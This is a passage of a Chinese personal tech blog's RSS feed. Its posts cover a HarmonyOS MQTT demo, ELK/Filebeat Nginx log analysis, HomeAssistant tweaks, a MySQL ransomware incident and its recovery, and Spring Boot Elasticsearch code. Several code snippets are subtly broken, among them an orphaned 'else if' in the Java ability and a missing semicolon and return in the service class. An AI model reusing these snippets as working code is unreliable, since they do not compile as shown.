    &amp;lt;div&amp;gt;
        &amp;lt;text class=&amp;quot;title&amp;quot; onclick=&amp;quot;mqttMessage&amp;quot;&amp;gt;
            开始mqtt
        &amp;lt;/text&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;text class=&amp;quot;title&amp;quot; onclick=&amp;quot;stopMqtt&amp;quot;&amp;gt;
            停止mqtt
        &amp;lt;/text&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;const ABILITY_TYPE_EXTERNAL = 0;
const ACTION_SYNC = 0;
const ACTION_MESSAGE_CODE_START_MQTT = 1001;
const ACTION_MESSAGE_CODE_MQTT_MESSAGE = 1002;
const BUNDLE_NAME = 'com.example.mqttapplication';
const ABILITY_NAME = 'com.example.mqttapplication.PlayAbility';

export const playAbility = {
    startMqtt: async function() {
        FeatureAbility.callAbility({
            messageCode: ACTION_MESSAGE_CODE_START_MQTT,
            abilityType: ABILITY_TYPE_EXTERNAL,
            syncOption: ACTION_SYNC,
            bundleName: BUNDLE_NAME,
            abilityName: ABILITY_NAME
        });
    },
    mqttMessage: async function(that) {
        var result = await FeatureAbility.callAbility({
            messageCode: ACTION_MESSAGE_CODE_MQTT_MESSAGE,
            abilityType: ABILITY_TYPE_EXTERNAL,
            syncOption: ACTION_SYNC,
            bundleName: BUNDLE_NAME,
            abilityName: ABILITY_NAME
        });
        var ret = JSON.parse(result);
        if (ret.code == 0) {
            console.info('mqtt is:' + JSON.stringify(ret.abilityResult));
            that.title = 'mqtt is:' + JSON.stringify(ret.abilityResult);
        } else {
            console.error('mqtt error code:' + JSON.stringify(ret.code));
        }
    }
}
export default {
    data: {
        title: &amp;quot;&amp;quot;,
        timer: null
    },
    task() {
        playAbility.mqttMessage(this);
    },
    mqttMessage() {
        this.title = &amp;quot;开始获取MQTT消息&amp;quot;;
        this.task()
        this.timer=setInterval(this.task,200)
    },
    stopMqtt() {
        clearInterval(this.timer)
    }
}
//初始化Java端Mqtt消息接收
playAbility.startMqtt()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java端代码(接收Mqtt消息，异步)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.eclipse.paho.client.mqttv3.*;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;

import java.util.List;


public class MqttThread implements Runnable {

    /**地址*/
    public static final String MQTT_BROKER_HOST = &amp;quot;tcp://xxx.xxx.xxx.xxx:1883&amp;quot;;
    /**客户端唯一标识*/
    public static final String MQTT_CLIENT_ID = &amp;quot;client&amp;quot;;
    /**订阅标识*/
    public static final String MQTT_TOPIC = &amp;quot;HarmonyTest&amp;quot;;
    /**客户端*/
    private volatile static MqttClient mqttClient;
    /**连接选项*/
    private static MqttConnectOptions options;
    /**消息*/
    private final List&amp;lt;String&amp;gt; message;

    public MqttThread(List&amp;lt;String&amp;gt; message) {
        this.message = message;
    }

    public void run() {
        try {
            mqttClient = new MqttClient(MQTT_BROKER_HOST, MQTT_CLIENT_ID, new MemoryPersistence());
            options = new MqttConnectOptions();
            options.setCleanSession(true);
            options.setConnectionTimeout(20);
            options.setKeepAliveInterval(20);
            mqttClient.connect(options);
            mqttClient.subscribe(MQTT_TOPIC);
            mqttClient.setCallback(new MqttCallback() {
                @Override
                public void connectionLost(Throwable throwable) { }
                @Override
                public void messageArrived(String s, MqttMessage mqttMessage) {
                    message.clear();
                    message.add(mqttMessage.toString());
                    System.out.println(&amp;quot;接收到mqtt消息：&amp;quot; + mqttMessage.toString());
                }
                @Override
                public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) { }
            });
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java端代码(Particle Ability)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.example.mqttapplication.mqtt.MqttThread;
import ohos.aafwk.ability.Ability;
import ohos.aafwk.content.Intent;
import ohos.hiviewdfx.HiLog;
import ohos.hiviewdfx.HiLogLabel;
import ohos.rpc.*;
import ohos.utils.zson.ZSONObject;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class PlayAbility extends Ability {

    static final HiLogLabel label = new HiLogLabel(HiLog.LOG_APP, 1, &amp;quot;MY_TAG&amp;quot;);

    private static final int ERROR = -1;
    private static final int SUCCESS = 0;
    private static final int START_MQTT = 1001;
    private static final int MQTT_MESSAGE = 1002;

    @Override
    protected void onStart(Intent intent) {
        super.onStart(intent);
    }

    @Override
    protected IRemoteObject onConnect(Intent intent) {
        super.onConnect(intent);
        PlayRemote remote = new PlayRemote();
        return remote.asObject();
    }

    static class PlayRemote extends RemoteObject implements IRemoteBroker {

        private List&amp;lt;String&amp;gt; message;

        private Thread thread;

        public PlayRemote() {
            super(&amp;quot;PlayRemote&amp;quot;);
        }

        @Override
        public boolean onRemoteRequest(int code, MessageParcel data, MessageParcel reply, MessageOption option) {
            // 开始mqtt
            else if (code == START_MQTT) {
                Map&amp;lt;String, Object&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
                result.put(&amp;quot;code&amp;quot;, SUCCESS);
                result.put(&amp;quot;abilityResult&amp;quot;, &amp;quot;成功开始mqtt&amp;quot;);
                try {
                    message = new ArrayList&amp;lt;&amp;gt;();
                    MqttThread mqttThread = new MqttThread(message);
                    thread = new Thread(mqttThread);
                    thread.start();
                    System.out.println(&amp;quot;mqtt启动成功&amp;quot;);
                }
                catch (Exception e) {
                    result.put(&amp;quot;code&amp;quot;, ERROR);
                    result.put(&amp;quot;abilityResult&amp;quot;, &amp;quot;启动失败&amp;quot;);
                }
                reply.writeString(ZSONObject.toZSONString(result));
            }
            // 获取mqtt消息
            else if (code == MQTT_MESSAGE) {
                Map&amp;lt;String, Object&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
                result.put(&amp;quot;code&amp;quot;, SUCCESS);
                if (message.isEmpty()) {
                    result.put(&amp;quot;abilityResult&amp;quot;, &amp;quot;未接收到MQTT消息&amp;quot;);
                }
                else {
                    ZSONObject zsonObject = ZSONObject.stringToZSON(message.get(0));
                    result.put(&amp;quot;abilityResult&amp;quot;, zsonObject.getString(&amp;quot;message&amp;quot;));
                }
                reply.writeString(ZSONObject.toZSONString(result));
            }
            else {
                Map&amp;lt;String, Object&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
                result.put(&amp;quot;abilityError&amp;quot;, ERROR);
                reply.writeString(ZSONObject.toZSONString(result));
                return false;
            }
            return true;
        }

        @Override
        public IRemoteObject asObject() {
            return this;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另外启动网络连接还需要往config.json里加点东西获取权限&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;{
  ...
  &amp;quot;module&amp;quot;: {
    ...
    &amp;quot;reqPermissions&amp;quot;: [
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.GET_NETWORK_INFO&amp;quot;
      },
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.INTERNET&amp;quot;
      },
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.SET_NETWORK_INFO&amp;quot;
      },
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.MANAGE_WIFI_CONNECTION&amp;quot;
      },
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.SET_WIFI_INFO&amp;quot;
      },
      {
        &amp;quot;name&amp;quot;: &amp;quot;ohos.permission.GET_WIFI_INFO&amp;quot;
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后写了个python的脚本用来发送mqtt消息，很简单就一行&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import paho.mqtt.publish as publish
publish.single('HarmonyTest', '{&amp;quot;message&amp;quot;:&amp;quot;BongShakalaka&amp;quot;}', hostname='xxx.xxx.xxx.xxx')
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;附：mqtt消息是要有mqtt服务器的，这个就自己搭或者买吧&lt;/p&gt;
&lt;p&gt;应鸿蒙开发者论坛读者要求，这里贴上源码地址&lt;/p&gt;
&lt;p&gt;github: &lt;a href="https://github.com/baby7/MqttApplication"&gt;https://github.com/baby7/MqttApplication&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;gitee(码云): &lt;a href="https://gitee.com/baby7/MqttApplication"&gt;https://gitee.com/baby7/MqttApplication&lt;/a&gt;&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Tue, 29 Jun 2021 08:56:53 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/101.html</comments>
    </item>
    <item>
      <title>使用ELK容器对Nginx做热力图分析</title>
      <link>https://www.baby7blog.com/myBlog/100.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1623041187113582006" width="800"&gt;&lt;br&gt;&lt;p&gt;使用ES、Logstash、Kibana、Filebeat四个容器对Nginx日志分析，生成展示用的热力图&lt;/p&gt;

&lt;h1&gt;使用ELK容器对Nginx做热力图分析&lt;/h1&gt;

&lt;h2&gt;展示&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1623041631600205857" alt="image.png" /&gt;&lt;/p&gt;
&lt;h2&gt;一、总体流程&lt;/h2&gt;

&lt;p&gt;1.Filebeat获取Nginx的日志并推送给Logstash&lt;/p&gt;


&lt;p&gt;2.Logstash对日志数据进行提取分析并利用插件根据ip生成经纬度信息，然后推送给ES&lt;/p&gt;


&lt;p&gt;3.ES接收数据并保存&lt;/p&gt;


&lt;p&gt;4.Kibana从ES获取数据做热力图&lt;/p&gt;

&lt;h2&gt;二、安装流程&lt;/h2&gt;
&lt;h3&gt;一、Nginx的配置&lt;/h3&gt;
&lt;p&gt;转变Nginx的日志格式为JSON格式：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-nginx.conf"&gt;http {
    log_format json '{&amp;quot;@timestamp&amp;quot;:&amp;quot;$time_iso8601&amp;quot;,'
        '&amp;quot;host&amp;quot;:&amp;quot;$server_addr&amp;quot;,'
        '&amp;quot;clientip&amp;quot;:&amp;quot;$remote_addr&amp;quot;,'
        '&amp;quot;size&amp;quot;:$body_bytes_sent,'
        '&amp;quot;responsetime&amp;quot;:$request_time,'
        '&amp;quot;upstreamtime&amp;quot;:$upstream_response_time,'
        '&amp;quot;upstreamhost&amp;quot;:&amp;quot;$upstream_addr&amp;quot;,'
        '&amp;quot;http_host&amp;quot;:&amp;quot;$host&amp;quot;,'
        '&amp;quot;url&amp;quot;:&amp;quot;$uri&amp;quot;,'
        '&amp;quot;xff&amp;quot;:&amp;quot;$http_x_forwarded_for&amp;quot;,'
        '&amp;quot;referer&amp;quot;:&amp;quot;$http_referer&amp;quot;,'
        '&amp;quot;agent&amp;quot;:&amp;quot;$http_user_agent&amp;quot;,'
        '&amp;quot;status&amp;quot;:&amp;quot;$status&amp;quot;}';
    access_log  /var/log/nginx/access.log  json;
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启Nginx&lt;/p&gt;
&lt;h3&gt;二、Filebeat的安装&lt;/h3&gt;
&lt;p&gt;创建Filebeat配置(filebeat.yml)，记得转化为你自己的地址&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /access.log
output.logstash:
  hosts: [&amp;quot;***.***.***.***:5044&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker run -it -d --name filebeat -v /***/access.log:/access.log -v /***/filebeat.yml:/usr/share/filebeat/filebeat.yml docker.elastic.co/beats/filebeat:7.7.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、Logstash的安装&lt;/h3&gt;
&lt;p&gt;创建Logtash配置(logstash_stdout.conf)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;input {
    beats {
        port =&amp;gt; 5044
        host =&amp;gt; &amp;quot;0.0.0.0&amp;quot;
    }
}
filter {
    mutate {
        gsub =&amp;gt; [&amp;quot;message&amp;quot;, &amp;quot;\\x&amp;quot;, &amp;quot;\\\x&amp;quot;]
        gsub =&amp;gt; [&amp;quot;message&amp;quot;, &amp;quot;:-,&amp;quot;, &amp;quot;:0,&amp;quot;]
    }
    json {
        source =&amp;gt; &amp;quot;message&amp;quot;
        remove_field =&amp;gt; &amp;quot;message&amp;quot;
        remove_field =&amp;gt; &amp;quot;[beat][hostname]&amp;quot;
        remove_field =&amp;gt; &amp;quot;[beat][name]&amp;quot;
        remove_field =&amp;gt; &amp;quot;[beat][version]&amp;quot;
        remove_field =&amp;gt; &amp;quot;@version&amp;quot;
        remove_field =&amp;gt; &amp;quot;offset&amp;quot;
        remove_field =&amp;gt; &amp;quot;input_type&amp;quot;
        remove_field =&amp;gt; &amp;quot;tags&amp;quot;
        remove_field =&amp;gt; &amp;quot;type&amp;quot;
        remove_field =&amp;gt; &amp;quot;host&amp;quot;
    }
    mutate {
        convert =&amp;gt; [&amp;quot;status&amp;quot;, &amp;quot;integer&amp;quot;]
        convert =&amp;gt; [&amp;quot;size&amp;quot;,&amp;quot;integer&amp;quot;]
        convert =&amp;gt; [&amp;quot;upstreamtime&amp;quot;, &amp;quot;float&amp;quot;]
        convert =&amp;gt; [&amp;quot;responsetime&amp;quot;, &amp;quot;float&amp;quot;]
    }
    geoip {
        source =&amp;gt; &amp;quot;clientip&amp;quot;
        database =&amp;gt; &amp;quot;/***/GeoLite2-City.mmdb&amp;quot;
        fields =&amp;gt; [&amp;quot;city_name&amp;quot;, &amp;quot;country_code2&amp;quot;, &amp;quot;country_name&amp;quot;, &amp;quot;latitude&amp;quot;, &amp;quot;longitude&amp;quot;, &amp;quot;region_name&amp;quot;]
        add_field =&amp;gt; [ &amp;quot;[geoip][location]&amp;quot;, &amp;quot;%{[geoip][longitude]}&amp;quot; ]
        add_field =&amp;gt; [ &amp;quot;[geoip][location]&amp;quot;, &amp;quot;%{[geoip][latitude]}&amp;quot; ]
        target =&amp;gt; &amp;quot;geoip&amp;quot;
    }
    mutate {
        convert =&amp;gt; [ &amp;quot;[geoip][location]&amp;quot;, &amp;quot;float&amp;quot; ]
    }
    if &amp;quot;_geoip_lookup_failure&amp;quot; in [tags] { drop { } }
}
output {
    elasticsearch {
        hosts =&amp;gt; [&amp;quot;***.***.***.***:9200&amp;quot;]
        index =&amp;gt; &amp;quot;logstash-nginx-blog&amp;quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载GeoLite2-City.mmdb&lt;/p&gt;
&lt;p&gt;启动容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker run -it -d -p 5044:5044 --name logstash -v /***/:/usr/share/logstash/pipeline/ docker.elastic.co/logstash/logstash:7.7.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、ES的安装&lt;/h3&gt;
&lt;p&gt;创建ES配置(elasticsearch.yml)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;cluster.name: &amp;quot;my-es&amp;quot;
network.host: 0.0.0.0
http.port: 9200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker run -it -d -p 9200:9200 -p 9300:9300 --name es -v /***/config/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml -v /***/data:/usr/share/elasticsearch/data -v /***/logs:/usr/share/elasticsearch/logs elasticsearch:7.7.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、Kibana的安装&lt;/h3&gt;
&lt;p&gt;创建Kibana配置(kibana.yml)&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;server.name: kibana
server.host: &amp;quot;0&amp;quot;
elasticsearch.hosts: [&amp;quot;http://***.***.***.***:9200&amp;quot;]
xpack.monitoring.ui.container.elasticsearch.enabled: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker run -d --log-driver json-file --name kibana -p 5601:5601 -v /***/kibana.yml:/usr/share/kibana/config/kibana.yml kibana:7.7.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、制作热力图&lt;/h3&gt;
&lt;p&gt;未完待续...&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Mon, 07 Jun 2021 04:53:56 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/100.html</comments>
    </item>
    <item>
      <title>基于GPSLogger和企业微信的自动化提醒打卡</title>
      <link>https://www.baby7blog.com/myBlog/99.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1611284985877228756" width="800"&gt;&lt;br&gt;
&lt;h1&gt;基于GPSLogger和企业微信的自动化提醒打卡&lt;/h1&gt;

&lt;p&gt;因为总是忘记打卡，早晨还好说，有个定时就可以了，但是下午下班可能加班，定时就不好使了，定的多了还烦得很这次实现的基于GPSLogger记录位置，然后判断是否进入或离开公司，如果是，就发送消息到企业微信（手机微信也可以接收到）
关于GPSLogger可以参见我的这篇帖子：使用GPSLogger记录位置
关于发送企业微信可以参见大神的帖子：通过企业微信推送消息（暂时取代方糖）&lt;/p&gt;
&lt;p&gt;然后需要在左侧列表[地图]里面添加一个公司的地点，地点的名字要记住，我这里填的是公司&lt;/p&gt;
&lt;p&gt;下面展示了一个离开公司的自动化：
首先是触发条件，这里的实体是我的GPSLogger发现的实体绑定的人，状态从[公司]变为not_home，这里的公司就是上面填的地点&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611284991224305468" alt="gpslogger1.png" /&gt;&lt;/p&gt;
&lt;p&gt;然后是动作，就是向企业微信发送消息&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611284996446428232" alt="gpslogger2.png" /&gt;&lt;/p&gt;
&lt;p&gt;这样就完成了自动化的进入/离开公司提醒打卡的功能&lt;/p&gt;
&lt;p&gt;最后：可以在主页/仪表盘里添加地图卡片，选择gps的实体后可以显示路径哦&lt;/p&gt;
&lt;p&gt;更新：
由于有HomeAssistant官方app的安装需求，但是官方app的定位功能需要翻墙，比较麻烦，所以和GPSLogger两个应用同时装着，后来有大佬修改了源码，我的GPSLogger就卸载了
这里贴一下大佬的帖子：&lt;a href="https://bbs.hassbian.com/forum.php?mod=viewthread&amp;amp;tid=11932&amp;amp;page=1"&gt;官方app-高德地图sdk版-更新1.0.5解决耗电&lt;/a&gt;&lt;/p&gt;</description>
      <category>智能家居</category>
      <pubDate>Fri, 22 Jan 2021 03:09:59 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/99.html</comments>
    </item>
    <item>
      <title>给你的HomeAssistant添加个彩带特效</title>
      <link>https://www.baby7blog.com/myBlog/98.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1611284748273255002" width="800"&gt;&lt;br&gt;
&lt;h1&gt;给你的HomeAssistant添加个彩带特效&lt;/h1&gt;

&lt;p&gt;闲来无事，前段时间看到了robbon.js这个特效
然后页面滚动的时候有点问题，改了改，放到了cdn上，想着后面给博客用&lt;/p&gt;
&lt;p&gt;后来发现 配置-&amp;gt;Lovelace仪表盘-&amp;gt;资源 这里可以添加Javascript模块，然后灵光大现把特效的地址输进去，然后就直接有效果了&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611284695863124728" alt="114641y7sh2re53r6eggrt.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611284702227423046" alt="130813qhq6h8pbhdp48w6n.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;给平淡的界面添加了点动态的元素&lt;/p&gt;
&lt;p&gt;这里放上我的cdn地址：&lt;a href="https://cdn.baby7blog.com/ribbon/ribbon.js"&gt;https://cdn.baby7blog.com/ribbon/ribbon.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以直接拿去用，如果担心安全问题也可以下载到本地使用&lt;/p&gt;</description>
      <category>智能家居</category>
      <pubDate>Fri, 22 Jan 2021 03:05:50 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/98.html</comments>
    </item>
    <item>
      <title>奇奇怪怪的插件之ha_chandao(禅道接入HomeAssistant)</title>
      <link>https://www.baby7blog.com/myBlog/97.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1611199556712296169" width="800"&gt;&lt;br&gt;
&lt;h1&gt;奇奇怪怪的插件之ha_chandao(禅道接入HomeAssistant)&lt;/h1&gt;

&lt;h2&gt;ha_chandao&lt;/h2&gt;
&lt;p&gt;禅道接入HomeAssistant，可以查看任务和Bug的数量&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;将ha_chandao文件夹复制到custom_components/目录下重启hass&lt;/p&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-yaml"&gt;sensor:
  - platform: ha_chandao
    name: '你的项目名'
    url: '禅道地址'
    username: '用户名'
    password: '密码'
    project_id: '项目id'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;url : 禅道地址，例如&lt;a href="https://www.test.com:1234"&gt;https://www.test.com:1234&lt;/a&gt; ，不需要加/zentao
project_id : 项目id，在项目的任务界面，可以看到地址栏后面有个project-task-999.html这样的地址，取后面的数字即可&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611199445108147729" alt="总的.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1611199451888419801" alt="单个的.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;github地址：&lt;a href="https://github.com/baby7/ha_chandao"&gt;https://github.com/baby7/ha_chandao&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;自动化&lt;/h2&gt;
&lt;p&gt;配合自动化可以实现：有了任务/bug立即通过微信通知&lt;/p&gt;</description>
      <category>智能家居</category>
      <pubDate>Thu, 21 Jan 2021 03:26:26 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/97.html</comments>
    </item>
    <item>
      <title>关于博客数据库的数据被勒索和数据恢复</title>
      <link>https://www.baby7blog.com/myBlog/96.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FmgtE04iw5ITpg_A_MhYdPGJNQnf" width="800"&gt;&lt;br&gt;
&lt;h1&gt;关于博客数据库的数据被勒索和数据恢复&lt;/h1&gt;

&lt;h3&gt;事情开始&lt;/h3&gt;
&lt;p&gt;我在浏览博客时发现后几页点不进去，请求直接报500
没多想，直接搁DevCloud点了个流水线，重新构建重新部署，发现还是不行
上服务器看Nacos，数据库好像出问题了，有点慌
在本地用Navicat连接数据库连不上，上服务器看是好着的&lt;/p&gt;
&lt;h3&gt;找到问题&lt;/h3&gt;
&lt;p&gt;查了查数据库都是全的，但是除了数据库基本表其他都是WRINING，不知道什么情况
mysql用户表里面我之前为了省事直接用的root，甚至密码也是root（以后再也不犯了。。。）
root用户的远程连接权限没了，成localhost了，我改成了开放远程连接
用Navicat连接，发现数据库都在，但是业务数据库里面原先的表都没了
每个数据库只有个WRINING表，我以为是数据库数据错误
点击去发现事情并不简单，居然是个勒索病毒：
您需要支付0.055比特币（BTC）才能恢复数据库：列出了我的数据库列表，然后给了个邮箱：如果您需要证明，请通过以下电子邮件与我们联系：database28@protonmail.com
算了算价格（当然交钱是不可能的）大概是四千多&lt;/p&gt;
&lt;h3&gt;处理过程&lt;/h3&gt;
&lt;p&gt;前段时间使用mysqldump进行过数据库备份，但是最新的几个都没有备份，不过我有在CMS端写完博客去博客端看的习惯，我的博客会将单个博客的请求存到redis（反正不多嘛，我就存到redis了）
查了查缓存的列表，以前的博客我备份都有，最新的有三个在备份中没有，但是缓存中有，直接在网页F12取得博客数据合成sql添加到备份里
接下来就简单了，使用sql进行数据库还原，然后修改数据库密码，修改博客的配置文件，重新构建重新部署&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Mon, 26 Oct 2020 14:14:21 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/96.html</comments>
    </item>
    <item>
      <title>springboot集成Elasticsearch进行操作</title>
      <link>https://www.baby7blog.com/myBlog/95.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FucNx592eoWc9OFfqRsOusSCkbYA" width="800"&gt;&lt;br&gt;
&lt;h1&gt;springboot集成Elasticsearch进行操作&lt;/h1&gt;

&lt;h2&gt;使用SpringBootStarterDataElasticsearch进行操作&lt;/h2&gt;
&lt;h3&gt;Maven引入&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-boot-starter-data-elasticsearch&amp;lt;/artifactId&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置连接信息&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;spring:
    elasticsearch:
        rest:
            # 地址
            uris: http://*.*.*.*:host
            # 用户名
            username: *
            # 密码
            password: *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里要说一下，9200/9300端口最好不要用，换成别的端口，然后用户名密码的限制一定要有，不然数据可能会被删除（详见另一篇博客：&lt;a href="https://www.baby7blog.com/myBlog/93.html"&gt;服务器被meow攻击，Elasticsearch数据被删除&lt;/a&gt;）
x-pake在elasticsearch的7.0.0没有免费开放，7.3.1是默认有的，中间几个版本没有试过&lt;/p&gt;
&lt;h3&gt;实体类&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.Accessors;
import org.springframework.data.annotation.Id;
import org.springframework.data.elasticsearch.annotations.Document;
import org.springframework.data.elasticsearch.annotations.Field;

import java.util.List;

@Data
@NoArgsConstructor
@Accessors(chain = true)
@Document(indexName = &amp;quot;test_index&amp;quot;, shards = 1, replicas = 0)
public class PatientRecipeInfo {

    @Id
    private String id;

    @Field
    private Object content;

    @Field
    private Long time;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数据持久层&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.springframework.data.elasticsearch.repository.ElasticsearchRepository;
public interface MyElasticRepository extends ElasticsearchRepository&amp;lt;DemoEntity, Long&amp;gt;  {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;服务层&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;public interface ESYPRelateDealService {

    /**
     * 根据名称查询排序
     **/
    Page&amp;lt;DemoEntity&amp;gt; sort(String test, Integer page, Integer size);

    /**
     * 保存数据
     **/
    boolean save(DemoEntity demoEntity);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;@Service
public class ESYPRelateDealServiceImpl implements ESYPRelateDealService {

    @Autowired
    private MyElasticRepository myElasticRepository;

    /**
     * 根据名称查询分页
     **/
    Page&amp;lt;DemoEntity&amp;gt; sort(String test, Integer page, Integer size){
        Sort sort = Sort.by(Sort.Order.desc(test))
        Pageable pageable = PageRequest.of(page, size, sort);
        Page&amp;lt;DemoEntity&amp;gt; page = myElasticRepository.findAll(pageable);
        return page;
    }

    /**
     * 保存数据
     **/
    boolean save(DemoEntity demoEntity){
        myElasticRepository.save(demoEntity);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用High Level Rest Client进行操作&lt;/h2&gt;
&lt;h3&gt;引入Maven&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;dependency&amp;gt;
	&amp;lt;groupId&amp;gt;org.elasticsearch.module&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;reindex&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;2.4.6&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置连接信息&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;spring:
    elasticsearch:
        rest:
            # 地址
            uris: http://*.*.*.*:host
            # 用户名
            username: *
            # 密码
            password: *
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;引入配置信息&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import lombok.Data;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Configuration;

@Data
@Configuration
public class ESProperties {

    @Value(&amp;quot;${spring.elasticsearch.rest.uris}&amp;quot;)
    private String uris;

    @Value(&amp;quot;${spring.elasticsearch.rest.username}&amp;quot;)
    private String username;

    @Value(&amp;quot;${spring.elasticsearch.rest.password}&amp;quot;)
    private String password;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;服务层&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.elasticsearch.client.RequestOptions;
import org.elasticsearch.client.RestClient;
import org.elasticsearch.client.RestHighLevelClient;
import org.elasticsearch.index.reindex.BulkByScrollResponse;
import org.elasticsearch.index.reindex.DeleteByQueryRequest;
import org.springframework.beans.factory.annotation.Autowired;

